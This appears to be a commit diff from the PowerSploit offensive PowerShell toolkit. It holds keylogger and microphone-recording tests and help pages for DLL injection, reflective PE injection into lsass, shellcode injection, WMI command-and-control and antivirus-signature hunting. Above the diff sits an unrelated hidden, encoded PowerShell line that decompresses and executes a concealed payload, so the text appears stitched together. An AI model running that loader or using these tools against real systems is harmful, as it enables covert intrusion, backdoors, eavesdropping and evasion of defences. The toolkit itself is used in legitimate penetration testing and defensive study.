powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA=
@@ -72,7 +72,8 @@ This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kenn
http://www.exploit-monday.com
#>
[CmdletBinding( DefaultParameterSetName = 'FilePath')] Param (
[CmdletBinding( DefaultParameterSetName = 'FilePath')]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
[ValidateNotNullOrEmpty()]
[ScriptBlock]
+24 -18
View File
@@ -5,11 +5,11 @@ function Out-EncryptedScript
Encrypts text files/scripts.
PowerSploit Function: Out-EncryptedScript
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Out-EncryptedScript
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
@@ -36,7 +36,8 @@ is randomly generated by default.
.EXAMPLE
C:\PS> Out-EncryptedScript .\Naughty-Script.ps1 password salty
$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Out-EncryptedScript .\Naughty-Script.ps1 $Password salty
Description
-----------
@@ -48,10 +49,10 @@ function 'de' and the base64-encoded ciphertext.
.EXAMPLE
C:\PS> [String] $cmd = Get-Content .\evil.ps1
C:\PS> Invoke-Expression $cmd
C:\PS> $decrypted = de password salt
C:\PS> Invoke-Expression $decrypted
[String] $cmd = Get-Content .\evil.ps1
Invoke-Expression $cmd
$decrypted = de password salt
Invoke-Expression $decrypted
Description
-----------
@@ -64,34 +65,39 @@ unencrypted script is called via Invoke-Expression
This command can be used to encrypt any text-based file/script
#>
[CmdletBinding()] Param (
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$ScriptPath,
[Parameter(Position = 1, Mandatory = $True)]
[String]
[Security.SecureString]
$Password,
[Parameter(Position = 2, Mandatory = $True)]
[String]
$Salt,
[Parameter(Position = 3)]
[ValidateLength(16, 16)]
[String]
$InitializationVector = ((1..16 | % {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join ''),
$InitializationVector = ((1..16 | ForEach-Object {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join ''),
[Parameter(Position = 4)]
[String]
$FilePath = '.\evil.ps1'
)
$TempCred = New-Object System.Management.Automation.PSCredential('a', $Password)
$PlaintextPassword = $TempCred.GetNetworkCredential().Password
$AsciiEncoder = New-Object System.Text.ASCIIEncoding
$ivBytes = $AsciiEncoder.GetBytes($InitializationVector)
# While this can be used to encrypt any file, it's primarily designed to encrypt itself.
[Byte[]] $scriptBytes = Get-Content -Encoding Byte -ReadCount 0 -Path $ScriptPath
$DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($Password, $AsciiEncoder.GetBytes($Salt), "SHA1", 2)
$DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($PlaintextPassword, $AsciiEncoder.GetBytes($Salt), "SHA1", 2)
$Key = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
$Key.Mode = [System.Security.Cryptography.CipherMode]::CBC
[Byte[]] $KeyBytes = $DerivedPass.GetBytes(16)
@@ -1,19 +1,19 @@
function Remove-Comments
function Remove-Comment
{
<#
.SYNOPSIS
Strips comments and extra whitespace from a script.
PowerSploit Function: Remove-Comments
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Remove-Comment
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Remove-Comments strips out comments and unnecessary whitespace from a script. This is best used in conjunction with Out-EncodedCommand when the size of the script to be encoded might be too big.
Remove-Comment strips out comments and unnecessary whitespace from a script. This is best used in conjunction with Out-EncodedCommand when the size of the script to be encoded might be too big.
A major portion of this code was taken from the Lee Holmes' Show-ColorizedContent script. You rock, Lee!
@@ -27,11 +27,11 @@ Specifies the path to your script.
.EXAMPLE
C:\PS> $Stripped = Remove-Comments -Path .\ScriptWithComments.ps1
$Stripped = Remove-Comment -Path .\ScriptWithComments.ps1
.EXAMPLE
C:\PS> Remove-Comments -ScriptBlock {
Remove-Comment -ScriptBlock {
### This is my awesome script. My documentation is beyond reproach!
Write-Host 'Hello, World!' ### Write 'Hello, World' to the host
### End script awesomeness
@@ -41,7 +41,7 @@ Write-Host 'Hello, World!'
.EXAMPLE
C:\PS> Remove-Comments -Path Inject-Shellcode.ps1 | Out-EncodedCommand
Remove-Comment -Path Inject-Shellcode.ps1 | Out-EncodedCommand
Description
-----------
@@ -57,15 +57,17 @@ Accepts either a string containing the path to a script or a scriptblock.
System.Management.Automation.ScriptBlock
Remove-Comments returns a scriptblock. Call the ToString method to convert a scriptblock to a string, if desired.
Remove-Comment returns a scriptblock. Call the ToString method to convert a scriptblock to a string, if desired.
.LINK
http://www.exploit-monday.com
http://www.leeholmes.com/blog/2007/11/07/syntax-highlighting-in-powershell/
#>
[CmdletBinding( DefaultParameterSetName = 'FilePath' )] Param (
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding( DefaultParameterSetName = 'FilePath' )]
Param (
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'FilePath' )]
[ValidateNotNullOrEmpty()]
[String]
+1 -1
View File
@@ -26,6 +26,6 @@ FunctionsToExport = '*'
# List of all files packaged with this module
FileList = 'ScriptModification.psm1', 'ScriptModification.psd1', 'Out-CompressedDll.ps1', 'Out-EncodedCommand.ps1',
'Out-EncryptedScript.ps1', 'Remove-Comments.ps1', 'Usage.md'
'Out-EncryptedScript.ps1', 'Remove-Comment.ps1', 'Usage.md'
}
+85
View File
@@ -0,0 +1,85 @@
Set-StrictMode -Version Latest
$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
$ModuleManifest = "$ModuleRoot\Exfiltration\Exfiltration.psd1"
Remove-Module [E]xfiltration
Import-Module $ModuleManifest -Force -ErrorAction Stop
Describe 'Get-Keystrokes' {
if (Test-Path "$($env:TEMP)\key.log") { Remove-Item -Force "$($env:TEMP)\key.log" }
$WindowTitle = (Get-Process -Id $PID).MainWindowTitle
$Shell = New-Object -ComObject wscript.shell
$Shell.AppActivate($WindowTitle)
$KeyLogger = Get-Keystrokes -PassThru
Start-Sleep -Seconds 1
$Shell.SendKeys("Pester`b`b`b`b`b`b")
$KeyLogger.Dispose()
It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true }
$KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv
It 'Should log keystrokes' {
$FileLength = (Get-Item "$($env:TEMP)\key.log").Length
$FileLength | Should BeGreaterThan 14
}
It 'Should get foreground window title' {
$KeyObjects[0].WindowTitle | Should Be $WindowTitle
}
It 'Should log time of key press' {
$KeyTime = [DateTime]::Parse($KeyObjects[0].Time)
$KeyTime.GetType().Name | Should Be 'DateTime'
}
It 'Should stop logging after timeout' {
$Timeout = 0.05
$KeyLogger = Get-Keystrokes -Timeout $Timeout -PassThru
Start-Sleep -Seconds 4
$KeyLogger.Runspace.RunspaceAvailability | Should Be 'Available'
$KeyLogger.Dispose()
}
Remove-Item -Force "$($env:TEMP)\key.log"
}
Describe "Get-MicrophoneAudio" {
$RecordPath = "$env:TEMP\test_record.wav"
$RecordLen = 2
Context 'Successful Recording' {
BeforeEach {
#Ensure the recording as been removed prior to testing
Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue
}
AfterEach {
#Remove the recording after testing
Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue
}
It 'should record audio from the microphone and save it to a specified path' {
$result = Get-MicrophoneAudio -Path $RecordPath -Length $RecordLen
$result | Should Not BeNullOrEmpty
$result.Length | Should BeGreaterThan 0
}
}
Context 'Invalid Arguments' {
It 'should not allow invalid paths to be used' {
{ Get-MicrophoneAudio -Path "c:\FAKEPATH\yay.wav" -Length RecordLen} | Should Throw
}
}
}
+1036 -156
View File
File diff suppressed because it is too large Load Diff
-38
View File
@@ -30,32 +30,6 @@ Describe 'Export-PowerViewCSV' {
}
}
Describe 'Set-MacAttribute' {
BeforeEach {
New-Item MacAttribute.test.txt -Type file
}
AfterEach {
Remove-Item -Force MacAttribute.test.txt
}
It 'Should clone MAC attributes of existing file' {
Set-MacAttribute -FilePath MacAttribute.test.txt -All '01/01/2000 12:00 am'
$File = (Get-Item MacAttribute.test.txt)
$Date = Get-Date -Date '2000-01-01 00:00:00'
if ($File.LastWriteTime -ne $Date) {
Throw 'File LastWriteTime does Not match'
}
elseif($File.LastAccessTime -ne $Date) {
Throw 'File LastAccessTime does Not match'
}
elseif($File.CreationTime -ne $Date) {
Throw 'File CreationTime does Not match'
}
}
}
Describe 'Get-IPAddress' {
$IPregex = "(?<Address>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))"
It 'Should return local IP address' {
@@ -136,18 +110,6 @@ Describe 'Get-NameField' {
}
Describe 'Invoke-ThreadedFunction' {
It "Should allow threaded ping" {
$Hosts = ,"localhost" * 100
$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
$Hosts = Invoke-ThreadedFunction -NoImports -ComputerName $Hosts -ScriptBlock $Ping -Threads 20
if($Hosts.length -ne 100) {
Throw 'Error in using Invoke-ThreadedFunction to ping localhost'
}
}
}
Describe "Get-NetLocalGroup" {
It "Should return results for local machine administrators" {
if ( (Get-NetLocalGroup | Measure-Object).count -lt 1) {
+158
View File
@@ -0,0 +1,158 @@
# Find-AVSignature
## SYNOPSIS
Locate tiny AV signatures.
PowerSploit Function: Find-AVSignature
Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
```
Find-AVSignature [-StartByte] <UInt32> [-EndByte] <String> [-Interval] <UInt32> [[-Path] <String>]
[[-OutPath] <String>] [[-BufferLen] <UInt32>] [-Force]
```
## DESCRIPTION
Locates single Byte AV signatures utilizing the same method as DSplit from "class101" on heapoverflow.com.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe
```
Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose
Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose
Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose
Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose
## PARAMETERS
### -StartByte
Specifies the first byte to begin splitting on.
```yaml
Type: UInt32
Parameter Sets: (All)
Aliases:
Required: True
Position: 1
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -EndByte
Specifies the last byte to split on.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: True
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Interval
Specifies the interval size to split with.
```yaml
Type: UInt32
Parameter Sets: (All)
Aliases:
Required: True
Position: 3
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Path
Specifies the path to the binary you want tested.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 4
Default value: ($pwd.path)
Accept pipeline input: False
Accept wildcard characters: False
```
### -OutPath
Optionally specifies the directory to write the binaries to.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 5
Default value: ($pwd)
Accept pipeline input: False
Accept wildcard characters: False
```
### -BufferLen
Specifies the length of the file read buffer .
Defaults to 64KB.
```yaml
Type: UInt32
Parameter Sets: (All)
Aliases:
Required: False
Position: 6
Default value: 65536
Accept pipeline input: False
Accept wildcard characters: False
```
### -Force
Forces the script to continue without confirmation.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
Several of the versions of "DSplit.exe" available on the internet contain malware.
## RELATED LINKS
[http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html
https://github.com/mattifestation/PowerSploit
http://www.exploit-monday.com/
http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2](http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html
https://github.com/mattifestation/PowerSploit
http://www.exploit-monday.com/
http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2)
+79
View File
@@ -0,0 +1,79 @@
# Invoke-DllInjection
## SYNOPSIS
Injects a Dll into the process ID of your choosing.
PowerSploit Function: Invoke-DllInjection
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
```
Invoke-DllInjection [-ProcessID] <Int32> [-Dll] <String>
```
## DESCRIPTION
Invoke-DllInjection injects a Dll into an arbitrary process.
It does this by using VirtualAllocEx to allocate memory the size of the
DLL in the remote process, writing the names of the DLL to load into the
remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread
to invoke LoadLibraryA in the context of the remote process.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
```
Description
-----------
Inject 'evil.dll' into process ID 4274.
## PARAMETERS
### -ProcessID
Process ID of the process you want to inject a Dll into.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: True
Position: 1
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Dll
Name of the dll to inject.
This can be an absolute or relative path.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: True
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
Use the '-Verbose' option to print detailed information.
## RELATED LINKS
[http://www.exploit-monday.com](http://www.exploit-monday.com)
+300
View File
@@ -0,0 +1,300 @@
# Invoke-ReflectivePEInjection
## SYNOPSIS
This script has two modes.
It can reflectively load a DLL/EXE in to the PowerShell process,
or it can reflectively load a DLL in to a remote process.
These modes have different parameters and constraints,
please lead the Notes section (GENERAL NOTES) for information on how to use them.
1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
this will load and execute the DLL/EXE in to memory without writing any files to disk.
2.) Reflectively load a DLL in to memory of a remote process.
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
This is probably most useful for injecting backdoors in SYSTEM processes in Session0.
Currently, you cannot retrieve output
from the DLL.
The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
remote process.
PowerSploit Function: Invoke-ReflectivePEInjection
Author: Joe Bialek, Twitter: @JosephBialek
Code review and modifications: Matt Graeber, Twitter: @mattifestation
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
```
Invoke-ReflectivePEInjection [-PEBytes] <Byte[]> [[-ComputerName] <String[]>] [[-FuncReturnType] <String>]
[[-ExeArgs] <String>] [[-ProcId] <Int32>] [[-ProcName] <String>] [-ForceASLR] [-DoNotZeroMZ]
```
## DESCRIPTION
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
```
$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local
### -------------------------- EXAMPLE 2 --------------------------
```
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
```
the wchar_t* returned by WStringFunc() from all the computers.
$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
### -------------------------- EXAMPLE 3 --------------------------
```
Load DemoEXE and run it locally.
```
$PEBytes = \[IO.File\]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
### -------------------------- EXAMPLE 4 --------------------------
```
Load DemoEXE and run it locally. Forces ASLR on for the EXE.
```
$PEBytes = \[IO.File\]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
### -------------------------- EXAMPLE 5 --------------------------
```
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
```
$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL_RemoteProcess.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local
## PARAMETERS
### -PEBytes
A byte array containing a DLL/EXE to load and execute.
```yaml
Type: Byte[]
Parameter Sets: (All)
Aliases:
Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerName
Optional, an array of computernames to run the script on.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases:
Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -FuncReturnType
Optional, the return type of the function being called in the DLL.
Default: Void
Options: String, WString, Void.
See notes for more information.
IMPORTANT: For DLLs being loaded remotely, only Void is supported.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 3
Default value: Void
Accept pipeline input: False
Accept wildcard characters: False
```
### -ExeArgs
Optional, arguments to pass to the executable being reflectively loaded.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 4
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ProcId
Optional, the process ID of the remote process to inject the DLL in to.
If not injecting in to remote process, ignore this.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: 5
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -ProcName
Optional, the name of the remote process to inject the DLL in to.
If not injecting in to remote process, ignore this.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 6
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ForceASLR
Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR.
Some PE's will work with ASLR even
if the compiler flags don't indicate they support it.
Other PE's will simply crash.
Make sure to test this prior to using.
Has no effect when
loading in to a remote process.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -DoNotZeroMZ
Optional, will not wipe the MZ from the first two bytes of the PE.
This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
GENERAL NOTES:
The script has 3 basic sets of functionality:
1.) Reflectively load a DLL in to the PowerShell process
-Can return DLL output to user when run remotely or locally.
-Cleans up memory in the PS process once the DLL finishes executing.
-Great for running pentest tools on remote computers without triggering process monitoring alerts.
-By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
2.) Reflectively load an EXE in to the PowerShell process.
-Can NOT return EXE output to user when run remotely.
If remote output is needed, you must use a DLL.
CAN return EXE output if run locally.
-Cleans up memory in the PS process once the DLL finishes executing.
-Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.
3.) Reflectively inject a DLL in to a remote process.
-Can NOT return DLL output to the user when run remotely OR locally.
-Does NOT clean up memory in the remote process if/when DLL finishes execution.
-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
-Expects the DLL to have this function: void VoidFunc().
This is the function that will be called after the DLL is loaded.
DLL LOADING NOTES:
PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL
return a char* or wchar_t*, which PowerShell can take and read the output from.
Anything output from stdout which is run using powershell
remoting will not be returned to you.
If you just run the PowerShell script locally, you WILL be able to see the stdout output from
applications because it will just appear in the console window.
The limitation only applies when using PowerShell remoting.
For DLL Loading:
Once this script loads the DLL, it calls a function in the DLL.
There is a section near the bottom labeled "YOUR CODE GOES HERE"
I recommend your DLL take no parameters.
I have prewritten code to handle functions which take no parameters are return
the following types: char*, wchar_t*, and void.
If the function returns char* or wchar_t* the script will output the
returned data.
The FuncReturnType parameter can be used to specify which return type to use.
The mapping is as follows:
wchar_t* : FuncReturnType = WString
char* : FuncReturnType = String
void : Default, don't supply a FuncReturnType
For the whcar_t* and char_t* options to work, you must allocate the string to the heap.
Don't simply convert a string
using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.
The function name expected in the DLL for the prewritten FuncReturnType's is as follows:
WString : WStringFunc
String : StringFunc
Void : VoidFunc
These function names ARE case sensitive.
To create an exported DLL function for the wstring type, the function would
be declared as follows:
extern "C" __declspec( dllexport ) wchar_t* WStringFunc()
If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify
this script to accomodate this.
You can find the code to modify in the section labeled "YOUR CODE GOES HERE".
Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection
## RELATED LINKS
[http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/](http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/)
+116
View File
@@ -0,0 +1,116 @@
# Invoke-Shellcode
## SYNOPSIS
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
```
Invoke-Shellcode [-ProcessID <UInt16>] [-Shellcode <Byte[]>] [-Force]
```
## DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX.
To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/\[";\]//g;s/\\\\/,0/g' | tr -d '\n' | cut -c2-
Make sure to specify 'thread' for your exit process.
Also, don't bother encoding your shellcode.
It's entirely unnecessary.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Invoke-Shellcode -ProcessId 4274
```
Description
-----------
Inject shellcode into process ID 4274.
### -------------------------- EXAMPLE 2 --------------------------
```
Invoke-Shellcode
```
Description
-----------
Inject shellcode into the running instance of PowerShell.
### -------------------------- EXAMPLE 3 --------------------------
```
Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
```
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs.
64-bit!
## PARAMETERS
### -ProcessID
Process ID of the process you want to inject shellcode into.
```yaml
Type: UInt16
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Shellcode
Specifies an optional shellcode passed in as a byte array
```yaml
Type: Byte[]
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Force
Injects shellcode without prompting for confirmation.
By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
## RELATED LINKS
+311
View File
@@ -0,0 +1,311 @@
# Invoke-WmiCommand
## SYNOPSIS
Executes a PowerShell ScriptBlock on a target computer using WMI as a
pure C2 channel.
Author: Matthew Graeber
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
```
Invoke-WmiCommand [-Payload] <ScriptBlock> [[-RegistryHive] <String>] [[-RegistryKeyPath] <String>]
[[-RegistryPayloadValueName] <String>] [[-RegistryResultValueName] <String>] [[-ComputerName] <String[]>]
[[-Credential] <PSCredential>] [[-Impersonation] <ImpersonationLevel>]
[[-Authentication] <AuthenticationLevel>] [-EnableAllPrivileges] [[-Authority] <String>]
```
## DESCRIPTION
Invoke-WmiCommand executes a PowerShell ScriptBlock on a target
computer using WMI as a pure C2 channel.
It does this by using the
StdRegProv WMI registry provider methods to store a payload into a
registry value.
The command is then executed on the victim system and
the output is stored in another registry value that is then retrieved
remotely.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1'
```
### -------------------------- EXAMPLE 2 --------------------------
```
$Hosts = Get-Content hostnames.txt
```
PS C:\\\>$Payload = Get-Content payload.ps1
PS C:\\\>$Credential = Get-Credential 'TargetDomain\TargetUser'
PS C:\\\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential
### -------------------------- EXAMPLE 3 --------------------------
```
$Payload = Get-Content payload.ps1
```
PS C:\\\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2'
### -------------------------- EXAMPLE 4 --------------------------
```
Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose
```
## PARAMETERS
### -Payload
Specifies the payload to be executed on the remote system.
```yaml
Type: ScriptBlock
Parameter Sets: (All)
Aliases:
Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -RegistryHive
{{Fill RegistryHive Description}}
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 2
Default value: HKEY_CURRENT_USER
Accept pipeline input: False
Accept wildcard characters: False
```
### -RegistryKeyPath
Specifies the registry key where the payload and payload output will
be stored.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 3
Default value: SOFTWARE\Microsoft\Cryptography\RNG
Accept pipeline input: False
Accept wildcard characters: False
```
### -RegistryPayloadValueName
Specifies the registry value name where the payload will be stored.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 4
Default value: Seed
Accept pipeline input: False
Accept wildcard characters: False
```
### -RegistryResultValueName
Specifies the registry value name where the payload output will be
stored.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 5
Default value: Value
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerName
Runs the command on the specified computers.
